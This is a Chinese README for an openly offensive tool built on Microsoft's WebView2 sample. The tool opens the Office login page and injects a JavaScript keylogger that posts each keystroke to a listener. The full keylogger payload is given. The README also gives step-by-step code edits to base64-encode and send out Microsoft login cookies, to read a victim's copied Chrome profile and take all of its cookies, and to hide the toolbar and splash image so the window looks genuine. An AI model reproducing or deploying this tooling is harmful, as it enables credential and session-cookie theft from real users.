请阅读 这篇博客文章 获取更多信息。
此代码是 Microsoft 的 WebView2 代码 的修改版本。当前代码可以进行清理和大幅改进。
已在 Windows 10 和 11 上测试。
当二进制文件被执行时,会加载 https://office.com/login。一个 JavaScript 键盘记录器会被注入到每个页面中,并将按键记录发送到 http://127.0.0.1:8080。此外,当用户成功认证后,针对 login.microsoftonline.com 的 cookie 会被进行 base64 编码,并通过 HTTP GET 请求发送到 http://127.0.0.1:8080。
如果你想要修改 JavaScript,需要在 AppWindow.cpp 中的 第 1096 行 处更改如下所示的代码。
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 允许你使用现有的用户数据文件夹(UDF)启动,而不是创建一个新的。UDF 包含所有密码、会话、书签等。Chrome 的 UDF 位于 C:\Users\<username>\AppData\Local\Google\Chrome\User Data。我们可以简单告诉 WebView2 使用这个配置文件启动实例,并在启动后提取所有 cookie 并将它们传输到攻击者的服务器。
唯一的小问题是 WebView2 寻找一个名为 EBWebView 的文件夹,而不是 User Data(不知道为什么)。复制 User Data 文件夹并将其重命名为 EBWebView。
在 app.cpp 中的 第 41 行:
std::wstring userDataFolder(L""); 更改为 std::wstring userDataFolder(L"C:\\Path\\To\\Temp");EBWebView 文件夹,WebView2 将从中读取。在 ScenarioCookieManagement.cpp 中的 第 40 行:
GetCookiesHelper(L"https://login.microsoftonline.com"); 更改为 GetCookiesHelper(L"");当不带任何网站调用 GetCookiesHelper 时,它将提取所有 cookie。
注意:如果 cookie 数量很大,当前应用程序将无法正常工作,因为应用程序使用 GET 请求发送它们,而 GET 请求有长度限制。
如果你想对二进制文件进行修改,可以在下面找到有关重要函数的信息。
GetUri() 函数包含二进制执行时加载的 URL。SendCookies() 函数包含发送 cookie 的 IP 地址和端口。CallCookieFunction() 函数等待 URL 以 https://www.office.com/?auth= 开头,然后调用 ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")POPUP 值设置为 "" 来移除菜单栏。IDS_APP_TITLE 和 IDC_WEBVIEW2APISAMPLE。这是标题栏中应用程序的名称。IDI_WEBVIEW2APISAMPLE、IDI_WEBVIEW2APISAMPLE_INPRIVATE 和 IDI_SMALL。这些指向一个 .ico 文件,即该应用程序的图标。itemHeight 必须设置为 0 以移除顶部菜单。此代码中已经处理好了。LoadImage()。这会隐藏蓝色启动图片。此代码中已经处理好了。new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); 的最后一个参数值改为 true。这会隐藏工具栏。此代码中已经处理好了。